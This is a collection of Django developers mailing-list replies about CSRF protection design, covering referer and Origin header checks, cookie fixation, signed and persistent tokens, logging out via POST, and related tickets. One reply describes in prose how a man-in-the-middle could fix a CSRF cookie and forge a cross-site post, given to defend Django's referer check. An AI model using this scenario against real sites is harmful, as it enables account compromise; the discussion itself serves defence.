Re: CSRF REASON_NO_REFERER with meta referrer tags
I'll reply to several emails at once here: > If we add Origin checking, could we then allow a missing referrer and token? Yes, we can support the origin header and allow a missing referer. There's a ticket for that here: https://code.djangoproject.com/ticket/16010 and I agree that it's long overdue. Do we have any information on whether the referrer meta tag also influences the origin header? If it doesn't, this whole conversation is a bit pointless... > Aren't there existing security mechanisms to handle these situations? > It seems like this is sending the wrong message. Django should be > pushing developers and admins for the best solution to security and > privacy concerns. > > Prevent HTTP when using HTTPS: use HSTS. (Apparently not supported by IE11 > [0]) HSTS fixes the problem after the first visit, it can't fix the problem before the user has visited the site (or ever in IE11, or for sites which need unencrypted subdomains, or which are served at a subdomain). We need to provide the best protection we can, so we still need to check the referer. As Aymeric said, the XFO header doesn't do anything to prevent a MITM from sending whatever they want. > However, In my opinion, the user's privacy needs go beyond this one > scenario. I will remind you that suppressing the referer header in question does _absolutely nothing_ to enhance your user's privacy since it is only relevant when the user is making a post from one page of your site to another page of your site. Your webserver logs each of those requests, and so where the traffic came from is immediately obvious. I agree that chrome should support no-referrer-when-crossorigin, but since all of this conversation is in reference to a proposed standard which is not finalized yet, I would argue that this is an issue you can and should bring up with the editors of the referrer-policy draft spec (last revised 6 days ago). If they update the spec, I expect that chrome will be updated to match it in short order. > Is there detailed documentation on the type of attack this REFERER > check guards against? Whether Django documentation or external > documentation is fine. I would like to have a firm understanding of > the real problem and how this solves it. We don't have detailed documentation about every type of CSRF attack that we defend against (such a document would be impossible to maintain). However, I will try to lay this out more clearly for you here. setup: user -> mitm -> server Server is configured properly: * HTTPS with good ciphers * long-lived HSTS including all subdomains, served from yoursite.com * X-Frame-Options: Deny * Secure cookies * permanent redirect from http to https The user has never been to your site on this computer before (maybe they're logging in from a library computer, or a friend's computer, or this is their first visit to your site). The user types yoursite.com into the address bar and hits enter. The mitm sees the request for http://yoursite.com, and rewrites the 301 redirect response your server sends to add a csrftoken=aaa cookie. The user continues to your website. They log in. Some time later, the user browses to aol.com (or any other insecure site). The mitm sees this traffic, and on-the-fly, rewrites the html that aol.com serves to include a script which posts a form to your server, including a form field containing the CSRF value that the attacker now knows (because the attacker set the csrf cookie in the first place). This post (because it is prepared by the user's browser) includes all cookies set for your domain (including the session and the csrf token). The user's browser may or may not send a referer with this post, but in either case the origin does NOT match your original server, and Django rejects the attack. If we remove the referer check in Django, this attack is accepted (since it has a correct matching CSRF token and a valid user session), and your application is compromised. For websites and browsers that don't support HSTS (or websites which aren't at the top level domain, or which don't include all subdomains in the HSTS), this attack works every single time the user visits your page. For browsers which do support HSTS (and your server has it enabled) the attack is viable any time until the first time a browser visits your page. Django has to provide the _best_ possible CSRF protection it can, so it is not an option to exclude protection for the first visit, or for sites which use non-https subdomains or parent domains, or for browsers that don't support HSTS. Hopefully you see why this check is important. You should find out whether the referrer metatag also influences the origin header - if it doesn't, fixing the ticket mentioned above would make most of your concerns go away. Regards, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers (Contributions to Django itself)" group. To unsubscribe from this group and stop receiving
Re: CSRF REASON_NO_REFERER with meta referrer tags
The referer check is primarily there to help make users who choose not to use HSTS safer. Without HSTS, a mitm can set CSRF cookies (e.g. by serving an HTTP page emulating your domain in an iframe on a different unencrypted page, even if you only ever serve your own page from HTTPS), and then post (from wherever) to your secured page. By forcing the post to come from the same domain, we've made this attack significantly less convenient. I agree that it's really unfortunate that we don't have a better mechanism for this in the browsers, but this still seems to be the best tradeoff we have right now. -Paul On Tue, Feb 3, 2015 at 9:43 PM, Jon Dufresnewrote: > On Tue, Feb 3, 2015 at 11:52 AM, Aymeric Augustin > wrote: >> You can fix that problem by saving some authentication info in the user's >> session, most likely with a custom auth backend — see django-sesame for an >> example of how to do this. Then redirect immediately to an URL that doesn't >> contain the nonce. Of course all this must happen over HTTPS to reduce the >> likelihood of leaving the nonce in the logs of various caches or reverse >> proxies. > > My application is 100% over HTTPS, HTTP traffic is not allowed. > > Thanks for these pointers. This may not work exactly for me, but it > certainly is something interesting to think about. I'll look into it > more. > > -- > You received this message because you are subscribed to the Google Groups > "Django developers (Contributions to Django itself)" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to django-developers+unsubscr...@googlegroups.com. > To post to this group, send email to django-developers@googlegroups.com. > Visit this group at http://groups.google.com/group/django-developers. > To view this discussion on the web visit > https://groups.google.com/d/msgid/django-developers/CADhq2b6SXqY78qiNdB7BkAQUcBHzAFUON%3DY69mEddu6Q55SWdg%40mail.gmail.com. > For more options, visit https://groups.google.com/d/optout. -- You received this message because you are subscribed to the Google Groups "Django developers (Contributions to Django itself)" group. To unsubscribe from this group and stop receiving emails from it, send an email to django-developers+unsubscr...@googlegroups.com. To post to this group, send email to django-developers@googlegroups.com. Visit this group at http://groups.google.com/group/django-developers. To view this discussion on the web visit https://groups.google.com/d/msgid/django-developers/CAO_YWRWosR0yePoqiQSKW2M4--ucY747smFNXcUSSQ4GnsCmag%40mail.gmail.com. For more options, visit https://groups.google.com/d/optout.
Re: Updating the organization of the Django Project
+1 Thanks for your hard work, Aymeric. -Paul On Wed, Jul 23, 2014 at 12:25 PM, charetteswrote: > +1 > > Thanks for putting this up together Aymeric > > Simon > > Le mercredi 23 juillet 2014 09:30:13 UTC-4, Aymeric Augustin a écrit : >> >> Hello, >> >> I’ve been working on updating our organization: >> https://github.com/django/django/pull/2947 >> >> This proposal attempts to address several issues with our current >> organization. There’s no short version and any simplistic interpretation >> will be wrong. Here are the main factors at play. >> >> 1) In theory, the core team is the group of committers, each of whom has >> been judged capable of making code design decisions. (Astute readers will >> have noticed that it isn’t true in practice.) This restrictive approach to >> staffing makes it hard to cover all of our HR needs. Specifically: >> a) It creates a chasm between non-core and core contributors, >> which has perverse side effects and creates tons of frustration. >> b) It drives away would-be contributors whose help wouldn’t >> involve committing code to the main Django repository. >> c) Even if such contributors are found, it’s hard to convince the >> core team to bring them on board. >> >> 2) Since the BDFLs have stepped down, there’s no obvious way to counteract >> honest mistakes made by core developers. This is making the core team >> uncomfortable at times. While BDFLs hardly ever had to intervene, their mere >> existence played a role. We need to recreate that role in a more democratic >> fashion. >> >> 3) We’re good at burning out our most prolific contributors. Since we lack >> structure, it’s too easy to become responsible for everything, until you >> can’t handle it anymore and throw the towel. We must classify roles, write >> down who takes what role, fill the gaps with new volunteers, and remove >> pressure around stepping down. >> >> 4) As we have grown, having no explicit organization within the core team >> makes it complicated for newcomers to figure who does what and how they fit >> in the picture. It doesn’t erase the power structure. It merely hides it. >> >> My proposal builds upon years of discussions at DjangoCons. It has gone >> through many rounds of feedback inside the core team already. It’s an >> evolution, not a revolution. It takes into account the growth of the >> project, acknowledges and formalizes some things that we’re already doing, >> and introduces just enough formal organization to make everyone comfortable. >> >> It doesn’t encompass everything we could do to improve our organization. >> In particular I expect some follow up work on how we manage roles in order >> to avoid burnout. >> >> I would like to ask the core team for a formal vote on this pull request, >> according to our guidelines. [1] Please vote by the end of July in UTC >> (2014-08-01T00:00:00Z). >> >> Obviously, I’m voting +1. >> >> Thank you, >> >> -- >> Aymeric. >> >> >> [1] >> https://docs.djangoproject.com/en/stable/internals/contributing/bugs-and-features/#how-we-make-decisions > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to django-developers+unsubscr...@googlegroups.com. > To post to this group, send email to django-developers@googlegroups.com. > Visit this group at http://groups.google.com/group/django-developers. > To view this discussion on the web visit > https://groups.google.com/d/msgid/django-developers/6e625452-74f2-46b1-8553-6167effcd7f5%40googlegroups.com. > > For more options, visit https://groups.google.com/d/optout. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To unsubscribe from this group and stop receiving emails from it, send an email to django-developers+unsubscr...@googlegroups.com. To post to this group, send email to django-developers@googlegroups.com. Visit this group at http://groups.google.com/group/django-developers. To view this discussion on the web visit https://groups.google.com/d/msgid/django-developers/CAO_YWRVuypjN1BgObnujeXGS5LT-JzxCoVG_QEwFkDRMFpXPjA%40mail.gmail.com. For more options, visit https://groups.google.com/d/optout.
Re: Proposal: Modifying the CSRF protection scheme
I agree with Jacob on both points. +1 from me, especially since neither of these changes should require changes in application code which is already using the interface correctly. -Paul On Tue, Jul 30, 2013 at 1:22 PM, Jacob Kaplan-Mosswrote: > Hey Shai - > > I have no objections to this change. I think it's got a slight whiff of > security theatre, in that it *looks* like it adds more protection than it > *actually* does. However, I, too, have spent a ton of time talking auditors > down from "OMG Django is vulnerable to CSRF!" and I'd like to do less of > that. I like that rotating SECRET_KEY invalidates CSRF tokens. > > Time-limiting is a nice feature too, actually. Again the perceived security > is higher than the actual added security, but the general principle of > giving people more control is a good one. I'm sure there's some audit > checklist out there that has "CSRF tokens must not be valid for longer than > X hours" or something on it, and helping our users tick those boxes isn't > such a bad thing. > > So yeah, lukewarm praise from me at best, but since there's at least a bit > of real improvement here I see no reason this shouldn't go in. +1 from me. > > Jacob > > > On Sat, Jul 27, 2013 at 6:12 PM, Shai Berger wrote: >> >> Hi everybody, >> >> TL;DR: A simple change can make Django's CSRF protection a little better; >> an >> additional, slightly less simple one, can also make it look better. >> >> Django's CSRF protection scheme is a bit unusual; unlike most such >> schemes, it >> does not rely on a value stored in the server that needs to be matched by >> a >> submitted token and is replaced with every submission, but rather on a >> constant value stored in a cookie. This generally works (for details of >> how >> and under what conditions exactly, see [1]), but has two minor problems: >> >> 1) It is unusual, and in particular diverges from what OWASP[2] >> recommends[3]; >> as a result, security analysts often think it is not secure. They have >> been >> proven wrong in all cases members of core are aware of, but proving it >> again >> and again is a nuisance, and there may be bad PR related to this. >> >> 2) It carries a "second-order" vulnerability: If your site has been >> compromised (XSS, Man-in-the-middle, or server compromise) then you become >> persistently vulnerable to CSRF. All of these vulnerabilities are way >> worse >> than CSRF and render all CSRF protection schemes worthless while they >> last; >> the point is *not* that they allow CSRF, but rather that they allow CSRF >> to be >> performed after the main hole has been plugged. This is because the >> attacker >> can use the main vulnerability to "steal", or even set, csrftoken cookie >> values, which they can then use later. After a successful attack of this >> magnitude, you need to reset the csrftoken cookies of all users, and this >> is >> neither obvious nor straightforward to do. >> >> Django's unique scheme does have two advantages over the more common >> solutions, which we would like to keep: >> >> 1) It is not tied to sessions, users, or site-stored per-user data, >> allowing >> CSRF protection to a wider range of users >> >> 2) It avoids the problem of having only one "current" token, which causes >> the >> submission of one form to invalidate forms open in other browser tabs. >> >> To improve on both problem issues, while keeping the advantages, I suggest >> the >> following modifications: >> >> a) Use a signed cookie for csrftoken -- using Django's existing signing >> facility[4], this means signing the cookie with the SECRET_KEY from the >> settings; so that an attacker cannot set arbitrary cookies, and changing >> the >> SECRET_KEY after a compromise immeiately invalidates csrftoken cookies. >> >> b) Optionally allowing time-limited CSRF tokens. Such tokens will be >> generated >> by adding a parameter of maximum age to the csrftoken tag, and by marking >> view >> methods (specifically with a decorator, or globally with a setting) as >> requiring timed tokens. When this is used, the posted token value will >> need to >> be different from the cookie value -- to keep advantage 2, the cookie will >> still be constant, and expiry time will only be present in the submitted >> token[5]. This method breaks the current way we do CSRF-protected AJAX, so >> it >> will likely stay optional (and opt-in). >> >> As you may guess, signing the cookie adds an actual iota of security. >> Adding >> expiry adds very little -- if an attacker has access to the cookie, they >> can >> usually just ask the site to generate valid tokens for them, so getting >> any >> real protection will require annoyingly short expiry times. But the fact >> that >> an attacker needs this extra step makes it a tiny bit harder for them and >> makes their actions a tiny bit more detectable; and having a constantly- >> changing CSRF token may make the whole thing look a little better to naive >> analysts. >> >> I
Re: #3011 - Custom User Models -- Call for final review
On Sun, Oct 28, 2012 at 8:54 AM, Ludwig Kraatzwrote: > Just found a way to describe my point of view in a little different way: > * Why is there a need to have Authentication and Authorization in one App - > when both answer a totally different purpose? * > But the answer - as you said - it might be the more convenient way in 90% of > the use cases... And because of that - easier to use. > => right..? You nailed it. In systems which separate the two, it's extremely common for developers to mistake one for the other, and build insecure systems. By providing both together by default, developers who have never considered the fact that the two concepts can be separate will do the right thing, and the 90% case for the rest of us of "I need both together" is also met. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: preventing 'csrftoken' cookie fixation attacks
Hi Mike, If an attacker can set cookies on your domain, you've got much larger problems than whether or not they know the nonce. Even if you do change the nonce on login, you are still vulnerable to multiple forms of session fixation attacks. To quote myself from an earlier mail to this list: https://groups.google.com/forum/#!msg/django-developers/3vG7H3kRBZ0/rZmJFazA4YMJ Django's CSRF implementation differs from many others which store CSRF information alongside session information on the server. The CSRF mechanism functions by matching a token provided in a form with a token provided as a cookie in the browser. If you set the cookie to 'zzz', it will still function perfectly well. The security comes from the fact that an attacker cannot set the cookie, not that it happens to contain any specific cryptographic value. Given this property, if an attacker can set a CSRF token cookie, rotating it during login makes no functional difference to your application security. The solution here is to configure your application so that an attacker cannot read or set any cookies. The best way to do this is to enable HSTS including subdomains, get yourself added to the browser pinning lists, make sure your domain contains no XSS bugs, and encourage users with browsers that do not support HSTS to switch to browsers that do. If the specific properties of Django's CSRF implementation do not work for your application, you may be interested in this alternate CSRF middleware implementation: https://github.com/mozilla/django-session-csrf As always, when reporting potential security problems, please use the secur...@djangoproject.com address. Regards, -Paul On Sat, Oct 27, 2012 at 7:01 PM,wrote: > Hi there, > > I'd like to discuss the behavior of the 'csrftoken' cookie that is used > for django's CSRF protection [1]. > I noticed that the cookie content does not change when performing a login > (like the 'sessionid' cookie does). > According to [1] this seems to be the documented behavior: "This cookie is > set by CsrfViewMiddleware. It is meant to be *permanent*" > but the csrftoken content should change on login (like the sessionid > cookie does). > If the attacker is able to set the cookie (this can happen before the > victim performs the login) he will know the > nonce that is needed to bypass the CSRF protection: > "The malicious user would have to know the nonce, which is user specific > (using a cookie)." [2] > > Do you agree that the 'csrftoken' cookie should be treated like the > session cookie when it comes to fixation attack prevention (cookie should > change on login)? > Can this be fixed directly in the CsrfViewMiddleware or can/should > developers address this in the webapplication? > > kind regards, > Mike > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: contrib.markup deprecation
My primary concerns are that we: A) do not ship vulnerable code B) do not bundle new external libraries C) do not make misleading assertions about the security of the solutions we do provide C was the primary motivator here - the python-markdown library does not seem to provide a mode where it is both useful and safe. If you're willing to do the work to make sure that all the template filters we ship are both useful and safe (or deprecated), I'd be in support of reversing the decision to deprecate the whole module. In the case of markdown, my personal preference would be to encourage the use of the sundown library. -Paul On Sat, Oct 13, 2012 at 1:34 PM, Luke Plantwrote: > Hi all, > > https://code.djangoproject.com/ticket/18054 > > I just came across this, and it seems slightly hasty. Most deprecations > of entire contrib modules would require some discussion on django-devs, > I would have thought. > > The filters provided by this module are probably widely used, and I > think slightly better documentation of a migration route would be nice, > and some more explanation in the release notes. The nature of template > tags/filters like this is that they are necessarily glue code between > some functions and the Django template library, so it didn't seem that > inappropriate to me to have a contrib.markup module, any more than any > of the other contrib modules, even though they are relatively small > functions. > > Also, hundreds of developers implementing their own solutions doesn't > seem sensible. That's especially true as it is easy to get those > functions wrong. I think the current state leaves people more likely to > be vulnerable, because many people will botch together an insecure > solution - and encouraging people to use the markup libraries directly, > as the release notes do, will make that worse. > > For example, for restructured text, you need at least these settings to > be safe in a typical HTML/web app situation: > > { 'raw_enabled': False, > 'file_insertion_enabled': False > } > > (This is implied by the current Django docs, but it really ought to be > enforced by the code) > > To add further confusion, there are projects like django-rstify out > there, which has the same vulnerabilities, and also seems to be a bit > dead at the moment (github repo has disappeared). > > I'm happy to work on this to provide an external solution for > restructured text, but don't want to compete with django-rstify if I can > avoid it. > > I will invite Martin Mahner, the author of django-rstify to participate > in this thread. I think we should have recommendations for alternatives > for rendering markdown as well. > > Regards, > > Luke > > > -- > "Christ Jesus came in to the world to save sinners" (1 Timothy 1:15) > > Luke Plant || http://lukeplant.me.uk/ > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Logging Out with POST by Default?
That's the same ticket as this one, which is more recent and has been open for longer... https://code.djangoproject.com/ticket/15619 FWIW, I agree we need to fix this. On Fri, Sep 21, 2012 at 6:56 AM, Aymeric Augustinwrote: > Le 20 sept. 2012 à 20:03, Carl Meyer a écrit : > >> FWIW I agree, and I think #7989 should be reopened. I do logout-via-POST >> on all my projects nowadays to avoid logout CSRF, and it's really quite >> simple. You can easily style a form button to look however you want >> (including just like a link), so there's really no negative impact >> besides slightly more markup in the template. > > I'm also in favor of reconsidering #7989, because Django has become a > widely-used, general-purpose framework, and it has a responsibility to > promote good practices. > > For instance, readthedocs.org simply uses django.contrib.auth by the book > [1], and thus is vulnerable to logout XSRF. (Disqus and Pinterest aren't > vulnerable and RTD.org is the next site that crossed my mind — I'm not > picking on RTD.org in any way.) > > Django should provide as much built-in security as possible, especially for > low-budget sites that can't afford security consultants. > >> The only irritating bit is that the Django admin implements its own >> logout via GET, so you have to subclass AdminSite to fix that if you're >> using the admin. > > > Let's update the admin base template and logout view to use POST. > > -- > Aymeric. > > > [1] https://docs.djangoproject.com/en/dev/topics/auth/ says: > >> For example, using the defaults, add the following line to your URLconf: >> (r'^accounts/login/$', 'django.contrib.auth.views.login'), > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Why is CSRF cookie persistent?
Hi Gruffudd, If the cookie were set to expire at browser close, it would cause CSRF errors for users who closed a browser (or bookmarked a page with a form on it) and then loaded that page from a browser cache and submitted the form. I'm ambivalent about whether this use case is worth supporting (it may be important on mobile devices, for example), but I don't believe that setting the cookie to expire on browser close provides much security benefit to an otherwise properly configured site (HTTPS, HSTS, etc.). Django's CSRF implementation differs[1] from many others which store CSRF information alongside session information on the server. The CSRF mechanism functions by matching a token provided in a form with a token provided as a cookie in the browser. If you set the cookie to 'zzz', it will still function perfectly well. The security comes from the fact that an attacker cannot set the cookie, not that it happens to contain any specific cryptographic value. If the concern is that an attacker could access a user's physical computer between sessions and steal a CSRF token, setting it to expire at browser close would not prevent an attacker from inserting a cookie of known value that would be used during the next session. I'm not convinced we can secure the tokens of a user whose computer has been physically accessed by an attacker. Still, if it can be convincingly demonstrated that setting the cookie to expire at browser close would not break existing use cases (mobile browsers are my chief concern) I'd be open to changing the default behavior. We generally consider it a bug if any non-malicious user can, through innocent behavior, trigger the CSRF warning. -Paul [1] Django's CSRF implementation usually sets off all kinds of false alarms in most pen-tester's tools, since it doesn't work exactly the same way other implementations do, and isn't tied to the session cookie. On Tue, Aug 21, 2012 at 3:53 PM, Gruffudd Williamswrote: > The results of a recent penetration test brought up the issue of the use of > persistent cookies, specifically the CSRF cookie which has an expiry date one > year in the future. > > The rationale given was that since the cookie is stored on the hard drive > then it is theoretically possible to get hold of it between a user's sessions. > > The question is, does the csrf cookie really need to be persistent at all? I > can't see that setting an expiry adds to the security model. > If it was made non-persistent then the only difference is that the cookie > would be re generated for each new browser session, which means it would be > generated more often than if the cookie was persistent, but is this an issue? > > Perhaps I'm missing something, but I'd be interested to learn the reasons why > it was implemented with a persistent cookie. > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To view this discussion on the web visit > https://groups.google.com/d/msg/django-developers/-/N4a1LKzUIYoJ. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Django 1.4 bug: Using cache_page and csrf_protect decorators results in a messy Set-Cookie response header.
No. please open a new bug detailing this issue. -Paul On Tue, May 15, 2012 at 6:53 AM, Rafał Stożek <say...@gmail.com> wrote: > Should we reopen https://code.djangoproject.com/ticket/15863 then? > > > On Mon, May 14, 2012 at 4:39 PM, Suteepat Damrongyingsupab > <tianiss...@gmail.com> wrote: >> >> Hi all, >> Thanks for your help to investigate the issue. I didn't have a chance to >> look further into it. >> So every class-based views that subclass from TemplateResponseMixin are >> affected by this bug because it uses TemplateResponse as its response_class. >> >> >> >> On Monday, May 14, 2012 7:28:50 PM UTC+7, Rafał Stożek wrote: >>> >>> Oh, I see where the bug is. SimpleTemplateResponse.__getstate__ does not >>> call super(). And HttpResponse class serializes cookies in its __getstate__ >>> method. So basically SimpleTemplateResponse doesn't serialize cookies >>> correctly. >>> >>> On Mon, May 14, 2012 at 1:25 PM, Rafał Stożek <say...@gmail.com> wrote: >>>> >>>> Could you try again to cause bug with SafeView class, but this time >>>> using TemplateResponse class instead of render_to_response shortcut? >>>> >>>> >>>> On Mon, May 14, 2012 at 10:24 AM, Suteepat Damrongyingsupab >>>> <tianiss...@gmail.com> wrote: >>>>> >>>>> I've just found the root cause of the problem. >>>>> The bug occurs when using ListView (I haven't tested other CBV though) >>>>> and decorating it with cache_page and csrf_protect. >>>>> I've tested it with a new clean project and left settings.py as a >>>>> default. >>>>> The simple code I used to test is as follows: >>>>> >>>>> urls.py (excerpt): >>>>> url(r'safe/$', cache_page(1800)(csrf_protect(SafeView.as_view(, >>>>> url(r'bug/$', cache_page(1800)(csrf_protect(BugView.as_view(, >>>>> >>>>> views.py: >>>>> from django.template import RequestContext >>>>> from django.views.generic import View, ListView >>>>> >>>>> class SafeView(View): >>>>> template_name = 'basic/index.html' >>>>> >>>>> def get(self, request): >>>>> return render_to_response('basic/index.html', {'msg': 'Hello, >>>>> world'}, context_instance=RequestContext(request)) >>>>> >>>>> class BugView(ListView): >>>>> template_name = 'basic/index.html' >>>>> queryset = [] >>>>> >>>>> template (basic/index.html): >>>>> Today message: {{ msg }}{% csrf_token %} >>>>> >>>>> I kept reloading the SafeView page (20+ times) and the bug didn't >>>>> occur. >>>>> You should try reloading the BugView page and the bug will occur within >>>>> 10 reloading times. >>>>> >>>>> >>>>> >>>>> >>>>> On Monday, May 14, 2012 12:14:21 AM UTC+7, Paul McMillan wrote: >>>>>> >>>>>> That looks a lot like 15863. >>>>>> https://code.djangoproject.com/ticket/15863 >>>>>> >>>>>> Which cache backend are you using? Which session backend? Are you >>>>>> absolutely positive you are using Django 1.4, and not a >>>>>> system-installed version of 1.3? Does your code pickle or unpickle >>>>>> sessions or cookies anywhere outside of the caching framework? >>>>>> >>>>>> I thought we fixed that bug, but if you can provide minimal steps to >>>>>> reproduce it in Django 1.4, we'll have to reopen the ticket. >>>>>> >>>>>> -Paul >>>>>> >>>>>> On Sat, May 12, 2012 at 1:13 PM, Suteepat Damrongyingsupab >>>>>> <tianiss...@gmail.com> wrote: >>>>>> > I'm using Django 1.4. >>>>>> > According to the Django csrf docs, I decorate my class-based view in >>>>>> > the >>>>>> > urls.py as follows: >>>>>> > >>>>>> > cache_page(1800)(csrf_protect(MyView.as_view())) >>>>>> > >>>>>> > I kept reloading MyView page url and Set-Cookie header would be >>>>>> > recursive >>>>>> > like this: >>>>>> > >>>
Re: Django 1.4 bug: Using cache_page and csrf_protect decorators results in a messy Set-Cookie response header.
That looks a lot like 15863. https://code.djangoproject.com/ticket/15863 Which cache backend are you using? Which session backend? Are you absolutely positive you are using Django 1.4, and not a system-installed version of 1.3? Does your code pickle or unpickle sessions or cookies anywhere outside of the caching framework? I thought we fixed that bug, but if you can provide minimal steps to reproduce it in Django 1.4, we'll have to reopen the ticket. -Paul On Sat, May 12, 2012 at 1:13 PM, Suteepat Damrongyingsupabwrote: > I'm using Django 1.4. > According to the Django csrf docs, I decorate my class-based view in the > urls.py as follows: > > cache_page(1800)(csrf_protect(MyView.as_view())) > > I kept reloading MyView page url and Set-Cookie header would be recursive > like this: > > Set-Cookie: csrftoken="Set-Cookie: csrftoken=\"Set-Cookie: > csrftoken=XeRCBpXuNpuRie17OqWrDIM3xKt9hV3Q\\073 expires=Sat\\054 11-May-2013 > 19:50:21 GMT\\073 Max-Age=31449600\\073 Path=/\"" > > I don't know what's a trigger to this behavior. > Has anyone found a problem like this? Please help. > Thanks. > > > > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To view this discussion on the web visit > https://groups.google.com/d/msg/django-developers/-/Q5Ywwf3O0sIJ. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: GSoC 2012: Security Enhancements
On Wed, Apr 18, 2012 at 3:50 PM, Luke Plantwrote: > One query: are you sure it is harder to manipulate? In particular, I > remember from a while back that Flash allowed some headers to be > manipulated, which caused problems, and they fixed it by blacklisting > some headers, I think including referer. Did they also fix Origin? In very old browsers and very old versions of flash*, the origin header isn't on the blacklist. This is why I propose to only use it as a negative signal (if present, and does not match, fail) rather than also as a positive signal. In a year or two (maybe 2014 when IE6 is finally, truly, laid to rest), we can revisit the idea of using it as a positive signal. -Paul * It has been patched in version 7 and onward. If you are running unpatched flash, you probably have so many viruses it doesn't matter... http://helpx.adobe.com/flash-player/kb/actionscript-error-send-action-contains.html -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: GitHub migration planning
Max, and others on this thread, Arguing about the specific mechanics of how github issues work isn't productive. Put very plainly: Django will not move to github issues because they cannot support our open community triage process. This is not negotiable. Regards, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Django File-based session doesn't expire
Hi, This is explained in the docs about sessions: https://docs.djangoproject.com/en/dev/topics/http/sessions/#clearing-the-session-table We provide a job you can periodically run to remove expired sessions. However, looking at the code, it appears that this only works for the database backed sessions, and does not work for file-backed sessions. In the usual case, the cookie expires out of the user's browser and so they have no access to the session on disk, even if it is still present, but this leaves you with an ever-growing directory of old files on the disk. As a practical matter, file-based sessions are extremely slow compared to the other session backends, so they are not very common in production environments. If you'd like to open a ticket (or even write a patch), that would be great. I would suggest two improvements (probably as separate tickets). The first is to switch to using the new signing framework for file-based sessions, which provides the option for stronger datetime based integrity checking. The second would be to improve the cleanup command so that it clears out file-based sessions in addition to the database backed ones. -Paul On Thu, Apr 19, 2012 at 11:44 AM, ejwrote: > Anyone? > > > On Tuesday, April 17, 2012 4:11:28 PM UTC-7, ej wrote: >> >> File-based session backend doesn't expire, unlike db-backed and >> cache-based sessions. I'm not too sure if this is a bug or an intended (but >> undocumented) design. I am under the impression that all session backends >> should behave similarly. >> >> If this is an intended design, can someone explains why this is the case? >> >> Thanks. > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To view this discussion on the web visit > https://groups.google.com/d/msg/django-developers/-/tsclBizYprkJ. > > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: GSoC 2012: Security Enhancements
There seems to be some confusion about CORS (a hairy draft spec that is not fully implemented in any browser, and not appropriate for inclusion in Django at this time) and the "Origin" header (aka Web Origin, rfc6454). http://tools.ietf.org/html/rfc6454 https://wiki.mozilla.org/Security/Origin http://www.w3.org/TR/access-control/#origin-request-header The Origin header defined in rfc6454 is compatible with the CORS origin header, but does not require full CORS support from the browser or the server to be useful. In my tests with Firefox and Chrome, both sent the origin header properly when making potentially state-changing cross-origin requests (both AJAX and standard form POST requests). My suggestion here is to include optional support for the Origin header as follows: - if present and null, fail the CSRF check - if present and not null, use in alongside the Referer header - if absent, keep current behavior As a general rule, if a browser sends an origin header, that value is more reliable (harder for malicious sites to manipulate, less often stripped by firewalls, less often disabled by users) than the referer header. This addition won't improve CSRF protection for older browsers, but it also won't break anything for them. For users with newer browsers, it should prevent CSRF even in cases when the CSRF token is stolen due to misconfiguration or user error. -Paul -- You received this message because you 